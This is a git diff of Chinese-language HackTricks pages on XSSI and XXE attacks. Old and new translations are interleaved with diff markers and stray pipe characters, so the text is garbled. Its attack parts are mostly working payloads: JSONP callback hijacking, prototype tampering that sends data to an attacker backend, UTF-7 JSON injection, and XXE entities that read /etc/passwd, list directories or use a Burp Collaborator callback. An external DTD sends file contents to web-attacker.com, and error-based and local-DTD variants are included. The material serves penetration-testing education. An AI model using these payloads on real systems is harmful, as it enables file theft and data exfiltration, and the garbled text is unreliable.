这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同,可能表明存在机密信息。可以使用诸如[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp扩展之类的工具来自动化此过程。
|
||||||
|
|
||||||
**当用户请求脚本时,会添加机密信息**。通过**带有和不带有cookies**发送请求可以很容易地发现这一点,如果检索到**不同的信息**,则可能包含机密信息。要自动执行此操作,您可以使用burp扩展:[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。
|
如果机密数据存储在全局变量中,可以利用类似于常规XSSI中使用的方法进行利用。但是,如果机密数据包含在JSONP响应中,攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现,如下所示:
|
||||||
|
```html
|
||||||
如果信息存在于全局变量中,您可以使用与前一种情况相同的代码来利用它。\
|
|
||||||
如果机密数据在JSONP响应中发送,您可以覆盖执行的函数以检索信息:
|
|
||||||
```markup
|
|
||||||
<script>
|
<script>
|
||||||
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
|
|
||||||
var angular = function () { return 1; };
|
var angular = function () { return 1; };
|
||||||
angular.callbacks = function () { return 1; };
|
angular.callbacks = function () { return 1; };
|
||||||
angular.callbacks._7 = function (leaked) {
|
angular.callbacks._7 = function (leaked) {
|
||||||
|
@ -54,8 +51,8 @@ alert(JSON.stringify(leaked));
|
||||||
</script>
|
</script>
|
||||||
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
||||||
```
|
```
|
||||||
或者,您也可以设置一个预先准备好的函数,由JSONP响应执行:
|
|
||||||
```markup
|
```html
|
||||||
<script>
|
<script>
|
||||||
leak = function (leaked) {
|
leak = function (leaked) {
|
||||||
alert(JSON.stringify(leaked));
|
alert(JSON.stringify(leaked));
|
||||||
|
@ -63,52 +60,34 @@ alert(JSON.stringify(leaked));
|
||||||
</script>
|
</script>
|
||||||
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
||||||
```
|
```
|
||||||
如果一个变量不在全局命名空间内,有时候仍然可以通过_原型篡改_来利用它。原型篡改滥用了JavaScript的设计,即在解释代码时,JavaScript会遍历原型链来查找被调用的属性。以下示例摘自论文[The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf),展示了如何通过重写`Array`类型的相关函数并访问`this`,一个非全局变量也可以被泄露。
|
对于不驻留在全局命名空间中的变量,有时可以利用*原型篡改*。该技术利用了JavaScript的设计,其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数,如`Array`的`slice`,攻击者可以访问并泄漏非全局变量:
|
||||||
```javascript
|
|
||||||
(function(){
|
|
||||||
var arr = ["secret1", "secret2", "secret3"];
|
|
||||||
// intents to slice out first entry
|
|
||||||
var x = arr.slice(1);
|
|
||||||
...
|
|
||||||
})();
|
|
||||||
```
|
|
||||||
在原始代码中,类型为 `Array` 的 `slice` 访问我们感兴趣的数据。正如前文所述,攻击者可以重写 `slice` 并窃取机密。
|
|
||||||
```javascript
|
```javascript
|
||||||
Array.prototype.slice = function(){
|
Array.prototype.slice = function(){
|
||||||
// leaks ["secret1", "secret2", "secret3"]
|
// leaks ["secret1", "secret2", "secret3"]
|
||||||
sendToAttackerBackend(this);
|
sendToAttackerBackend(this);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
安全研究员 [Sebastian Lekies](https://twitter.com/slekies) 最近更新了他的 [向量](http://sebastian-lekies.de/leak/) 列表。
|
进一步的攻击向量细节可以在安全研究人员[Sebastian Lekies](https://twitter.com/slekies)的作品中找到,他维护着一个[vectors](http://sebastian-lekies.de/leak/)列表。
|
||||||
|
|
||||||
## 非脚本-XSSI
|
### 非脚本-XSSI
|
||||||
|
Takeshi Terada的研究介绍了另一种XSSI形式,其中非脚本文件(如CSV)通过在`script`标签中作为源被包含而跨源泄漏。XSSI的历史实例,如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏,突显了这些威胁的严重性。此外,Gareth Heyes描述了一种攻击变体,涉及UTF-7编码的JSON以逃逸JSON格式并执行脚本,在某些浏览器中有效:
|
||||||
Takeshi Terada 在他的论文 [基于标识符的XSSI攻击](https://www.mbsd.jp/Whitepaper/xssi.pdf) 中描述了另一种XSSI。他能够通过在 `script` 标签中包含CSV文件等非脚本文件作为源,使用数据作为变量和函数名,从而跨源泄露非脚本文件。
|
|
||||||
|
|
||||||
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章 [使用GMail的高级Web攻击技术](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) 描述了一个XSSI,通过覆盖 `Array` 构造函数,能够读取谷歌账户的完整通讯录。
|
|
||||||
|
|
||||||
2007年,Joe Walker发表了 [人们认为JSON比实际安全](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)。他使用相同的思路来窃取包含在 `Array` 中的JSON。
|
|
||||||
|
|
||||||
其他相关攻击是通过将UTF-7编码内容注入JSON来逃避JSON格式。这由 [Hackvertor](https://hackvertor.co.uk/public) 的作者Gareth Heyes在2011年发布的博客文章 [JSON劫持](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) 中描述。在快速测试中,这在Microsoft Internet Explorer和Edge中仍然可行,但在Mozilla Firefox或Google Chrome中不行。
|
|
||||||
|
|
||||||
带有UTF-7的JSON:
|
|
||||||
```javascript
|
```javascript
|
||||||
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
||||||
```
|
```
|
||||||
将 JSON 包含在攻击者的页面中
|
|
||||||
```markup
|
```html
|
||||||
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,7 +8,7 @@
|
||||||
|
|
||||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
|
@ -22,11 +22,11 @@ XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类
|
||||||
|
|
||||||
### 可扩展标记语言概述 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
|
### 可扩展标记语言概述 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
|
||||||
|
|
||||||
可扩展标记语言,通常简称为XML,被定义为一种用于存储和传输数据的标记语言。XML采用类似HTML的树状结构,由标记和数据组成,与HTML不同的是,XML不限制于预定义标记。这种灵活性允许使用根据其封装数据的描述性命名的标记。在历史上,XML作为数据传输格式而备受推崇,尤其以其对“AJAX”(其中“X”代表“XML”)的贡献而闻名。然而,随着JSON成为首选格式,XML的流行度有所下降。
|
可扩展标记语言(XML)是一种用于存储和传输数据的标记语言。XML采用类似HTML的树状结构,由标签和数据组成,与预定义标签不同,XML具有灵活性,允许使用根据其封装数据的描述性命名的标签。在历史上,XML作为数据传输格式而备受推崇,尤其体现在对“AJAX”首字母缩写的贡献(其中“X”代表“XML”)。然而,随着JSON的流行,XML的受欢迎程度有所下降。
|
||||||
|
|
||||||
### 通过实体在XML中表示数据项 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
|
### 通过实体在XML中表示数据项 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
|
||||||
|
|
||||||
在XML中,实体用作表示文档中数据项的机制,提供了一种替代直接插入数据的方法。XML规范包含各种内置实体。例如,`<`和`>`用于分别表示`<`和`>`字符。由于它们在标记XML标签方面的作用,这些元字符在数据中出现时通常必须使用实体来表示。
|
在XML中,实体用作表示文档中数据项的机制,提供了一种替代直接插入数据的方法。XML规范包含各种内置实体。例如,`<`和`>`分别用于表示`<`和`>`字符。由于它们在标记XML标签方面的作用,这些元字符在数据中出现时通常必须使用实体来表示。
|
||||||
|
|
||||||
### 定义XML元素
|
### 定义XML元素
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@ XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类
|
||||||
|
|
||||||
### 文档类型定义简介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
|
### 文档类型定义简介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
|
||||||
|
|
||||||
文档类型定义(DTD)通过提供声明来规定XML文档的结构、允许的数据类型等,在XML中发挥着关键作用。`DOCTYPE`元素是可选的,位于XML文档开头,可以声明一个DTD。DTD可以分为“内部”(完全嵌入在文档中)、“外部”(从外部源加载)或两者结合的形式。
|
文档类型定义(DTD)在XML中发挥着关键作用,通过提供声明来规定XML文档的结构、允许的数据类型等。`DOCTYPE`元素是可选的,位于XML文档开头,可以声明一个DTD。DTD可以分为“内部”(完全嵌入在文档中)、“外部”(从外部源加载)或两者结合。
|
||||||
|
|
||||||
### 在XML中使用自定义实体 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
|
### 在XML中使用自定义实体 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ XML中的外部实体是自定义实体的一个子类型,其定义位于DTD
|
||||||
|
|
||||||
让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows,您可以尝试读取:`C:\windows\system32\drivers\etc\hosts`
|
让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows,您可以尝试读取:`C:\windows\system32\drivers\etc\hosts`
|
||||||
|
|
||||||
在这种情况下,请注意SYSTEM "_\*\*file:///\*\*etc/passwd_" 也可以工作。
|
在第一个案例中,请注意SYSTEM "_\*\*file:///\*\*etc/passwd_" 也可以工作。
|
||||||
```markup
|
```markup
|
||||||
<!--?xml version="1.0" ?-->
|
<!--?xml version="1.0" ?-->
|
||||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||||
|
@ -88,7 +88,7 @@ XML中的外部实体是自定义实体的一个子类型,其定义位于DTD
|
||||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||||
<data>&example;</data>
|
<data>&example;</data>
|
||||||
```
|
```
|
||||||
在这第三个案例中,请注意我们将`Element stockCheck`声明为ANY。
|
在这第三个案例中,请注意我们将`Element stockCheck`声明为ANY
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE data [
|
<!DOCTYPE data [
|
||||||
|
@ -102,7 +102,7 @@ XML中的外部实体是自定义实体的一个子类型,其定义位于DTD
|
||||||
```
|
```
|
||||||
### 目录列表
|
### 目录列表
|
||||||
|
|
||||||
在基于**Java**的应用程序中,可以通过类似以下负载的XXE来**列出目录的内容**(仅请求目录而非文件):
|
在基于**Java**的应用程序中,可以通过类似以下负载的XXE来**列出目录的内容**(只请求目录而不是文件):
|
||||||
```markup
|
```markup
|
||||||
<!-- Root / -->
|
<!-- Root / -->
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||||
|
@ -126,40 +126,46 @@ XXE可能被用来滥用云中的SSRF
|
||||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### "盲" SSRF - 通过带外数据泄露
|
### "盲" SSRF - 通过外带方式泄露数据
|
||||||
|
|
||||||
**在这种情况下,我们将让服务器加载一个带有恶意有效负载的新DTD,该有效负载将通过HTTP请求发送文件的内容(对于多行文件,您可以尝试通过** _**ftp://**_**进行泄露)。此说明摘自** [**Portswiggers实验室这里**](https://portswigger.net/web-security/xxe/blind)**。**
|
**在这种情况下,我们将让服务器加载一个带有恶意载荷的新DTD,该载荷将通过HTTP请求发送文件内容(对于多行文件,您可以尝试通过** _**ftp://**_**进行外带)。这个解释是基于** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**。**
|
||||||
|
|
||||||
一个用于泄露`/etc/hostname`文件内容的恶意DTD示例如下:
|
在给定的恶意DTD中,进行了一系列步骤来外带数据:
|
||||||
```markup
|
|
||||||
|
### 恶意DTD示例:
|
||||||
|
结构如下:
|
||||||
|
```xml
|
||||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||||
%eval;
|
%eval;
|
||||||
%exfiltrate;
|
%exfiltrate;
|
||||||
```
|
```
|
||||||
这个DTD执行以下步骤:
|
这个DTD执行的步骤包括:
|
||||||
|
|
||||||
* 定义一个名为 `file` 的XML参数实体,包含 `/etc/passwd` 文件的内容。
|
1. **参数实体的定义:**
|
||||||
* 定义一个名为 `eval` 的XML参数实体,包含对另一个名为 `exfiltrate` 的XML参数实体的动态声明。`exfiltrate` 实体将通过向攻击者的Web服务器发起HTTP请求来评估 `file` 实体的值,该请求将在URL查询字符串中包含。
|
- 创建一个XML参数实体 `%file`,读取 `/etc/hostname` 文件的内容。
|
||||||
* 使用 `eval` 实体,导致对 `exfiltrate` 实体的动态声明被执行。
|
- 定义另一个XML参数实体 `%eval`。它动态声明一个新的XML参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者服务器发起HTTP请求,在URL的查询字符串中传递 `%file` 实体的内容。
|
||||||
* 使用 `exfiltrate` 实体,使其值通过请求指定的URL来评估。
|
|
||||||
|
|
||||||
攻击者必须将恶意的DTD托管在他们控制的系统上,通常是通过将其加载到自己的Web服务器上。例如,攻击者可能会在以下URL上提供恶意的DTD:\
|
2. **实体的执行:**
|
||||||
`http://web-attacker.com/malicious.dtd`
|
- 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
|
||||||
|
- 然后使用 `%exfiltrate` 实体,触发向指定URL发送文件内容的HTTP请求。
|
||||||
|
|
||||||
最后,攻击者必须向易受攻击的应用程序提交以下XXE有效载荷:
|
攻击者将这个恶意的DTD托管在他们控制下的服务器上,通常在类似 `http://web-attacker.com/malicious.dtd` 的URL上。
|
||||||
```markup
|
|
||||||
|
**XXE Payload:**
|
||||||
|
为了利用一个存在漏洞的应用程序,攻击者发送一个XXE有效载荷:
|
||||||
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
这个XXE负载声明了一个名为`xxe`的XML参数实体,然后在DTD中使用这个实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。恶意DTD中定义的步骤将被执行,`/etc/passwd`文件将被传输到攻击者的服务器。
|
这个 payload 定义了一个 XML 参数实体 `%xxe` 并将其合并到 DTD 中。当被 XML 解析器处理时,这个 payload 从攻击者的服务器中获取外部 DTD。然后解析器内联解释 DTD,执行恶意 DTD 中概述的步骤,导致将 `/etc/hostname` 文件泄露到攻击者的服务器。
|
||||||
|
|
||||||
### 基于错误的(外部DTD)
|
### 基于错误的(外部 DTD)
|
||||||
|
|
||||||
**在这种情况下,我们将让服务器加载一个恶意的DTD,该DTD将在错误消息中显示文件的内容(仅当您可以看到错误消息时才有效)。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind)
|
**在这种情况下,我们将让服务器加载一个恶意的 DTD,该 DTD 将在错误消息中显示文件的内容(仅在您能看到错误消息时有效)。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind)
|
||||||
|
|
||||||
您可以使用恶意的外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息,如下所示:
|
您可以使用恶意的外部 DTD 触发一个包含 `/etc/passwd` 文件内容的 XML 解析错误消息,方法如下:
|
||||||
```markup
|
```markup
|
||||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||||
|
@ -171,7 +177,7 @@ XXE可能被用来滥用云中的SSRF
|
||||||
* 定义一个名为 `file` 的XML参数实体,包含 `/etc/passwd` 文件的内容。
|
* 定义一个名为 `file` 的XML参数实体,包含 `/etc/passwd` 文件的内容。
|
||||||
* 定义一个名为 `eval` 的XML参数实体,包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个包含 `file` 实体值的不存在文件来进行评估。
|
* 定义一个名为 `eval` 的XML参数实体,包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个包含 `file` 实体值的不存在文件来进行评估。
|
||||||
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
|
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
|
||||||
* 使用 `error` 实体,使其值通过尝试加载不存在的文件进行评估,导致包含不存在文件名的错误消息,该文件名是 `/etc/passwd` 文件的内容。
|
* 使用 `error` 实体,使其值通过尝试加载不存在的文件进行评估,导致包含不存在文件名的错误消息,该文件名即为 `/etc/passwd` 文件的内容。
|
||||||
|
|
||||||
调用外部DTD错误:
|
调用外部DTD错误:
|
||||||
```markup
|
```markup
|
||||||
|
@ -181,11 +187,11 @@ XXE可能被用来滥用云中的SSRF
|
||||||
```
|
```
|
||||||
### **基于错误的 (system DTD)**
|
### **基于错误的 (system DTD)**
|
||||||
|
|
||||||
那么当**阻止带外交互**(外部连接不可用)时,盲目 XXE 漏洞如何处理呢?
|
那么当**阻止带外交互**(外部连接不可用)时,盲目XXE漏洞如何处理呢?
|
||||||
|
|
||||||
XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**,当文档的 DTD 混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体,最初在外部 DTD 中声明。当服务器阻止带外连接时,攻击者必须依赖本地 DTD 文件来进行攻击,旨在诱发解析错误以揭示敏感信息。
|
XML语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**,当文档的DTD混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的XXE攻击的执行。这种攻击利用了在内部DTD中重新定义XML参数实体,该实体最初在外部DTD中声明。当服务器阻止带外连接时,攻击者必须依赖本地DTD文件来进行攻击,旨在诱发解析错误以揭示敏感信息。
|
||||||
|
|
||||||
考虑一个场景,服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交以下混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容:
|
考虑一个场景,服务器的文件系统包含一个位于`/usr/local/app/schema.dtd`的DTD文件,定义了一个名为`custom_entity`的实体。攻击者可以通过提交混合DTD来诱发XML解析错误,从而揭示`/etc/passwd`文件的内容:
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||||
|
@ -201,7 +207,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
|
||||||
以下是由此DTD执行的步骤:
|
以下是由此DTD执行的步骤:
|
||||||
|
|
||||||
- 定义了一个名为`local_dtd`的XML参数实体,其中包含位于服务器文件系统上的外部DTD文件。
|
- 定义了一个名为`local_dtd`的XML参数实体,其中包含位于服务器文件系统上的外部DTD文件。
|
||||||
- 对`custom_entity` XML参数实体进行重新定义,最初在外部DTD中定义,以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误,从而暴露`/etc/passwd`文件的内容。
|
- 对最初在外部DTD中定义的`custom_entity` XML参数实体进行重新定义,以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误,从而暴露`/etc/passwd`文件的内容。
|
||||||
- 通过使用`local_dtd`实体,启用了外部DTD,包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出。
|
- 通过使用`local_dtd`实体,启用了外部DTD,包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出。
|
||||||
|
|
||||||
**真实世界示例:** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。
|
**真实世界示例:** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。
|
||||||
|
@ -221,7 +227,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
|
||||||
```
|
```
|
||||||
![](<../.gitbook/assets/image (224).png>)
|
![](<../.gitbook/assets/image (224).png>)
|
||||||
|
|
||||||
由于这种技术使用**内部 DTD,您首先需要找到一个有效的 DTD**。您可以通过**安装**与服务器相同的**操作系统/软件**,并**搜索一些默认的 DTD**,或者**获取系统中默认 DTD 的列表**,然后**检查**是否存在任何一个:
|
由于这种技术使用**内部 DTD**,您首先需要找到一个有效的 DTD。您可以通过**安装**与服务器相同的**操作系统/软件**,然后**搜索一些默认的 DTD**,或者**获取系统中默认 DTD 的列表**,然后**检查**是否存在任何一个:
|
||||||
```markup
|
```markup
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||||
|
@ -236,7 +242,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
|
||||||
|
|
||||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||||
|
|
||||||
此外,如果您有**受害系统的Docker镜像**,您可以使用相同存储库中的工具来**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情。
|
此外,如果您有**受害系统的Docker镜像**,您可以使用相同存储库中的工具**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情。
|
||||||
```bash
|
```bash
|
||||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||||
|
|
||||||
|
@ -250,7 +256,7 @@ Testing 0 entities : []
|
||||||
```
|
```
|
||||||
### 通过 Office Open XML 解析器进行 XXE 攻击
|
### 通过 Office Open XML 解析器进行 XXE 攻击
|
||||||
|
|
||||||
要了解这种攻击的更深入解释,请查看 Detectify 的[这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分。
|
要深入了解此攻击,请查看 Detectify 的[这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分。
|
||||||
|
|
||||||
许多 Web 应用程序提供了上传 Microsoft Office 文档的功能,然后从这些文档中提取某些详细信息。例如,Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。
|
许多 Web 应用程序提供了上传 Microsoft Office 文档的功能,然后从这些文档中提取某些详细信息。例如,Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。
|
||||||
|
|
||||||
|
@ -260,31 +266,31 @@ Testing 0 entities : []
|
||||||
|
|
||||||
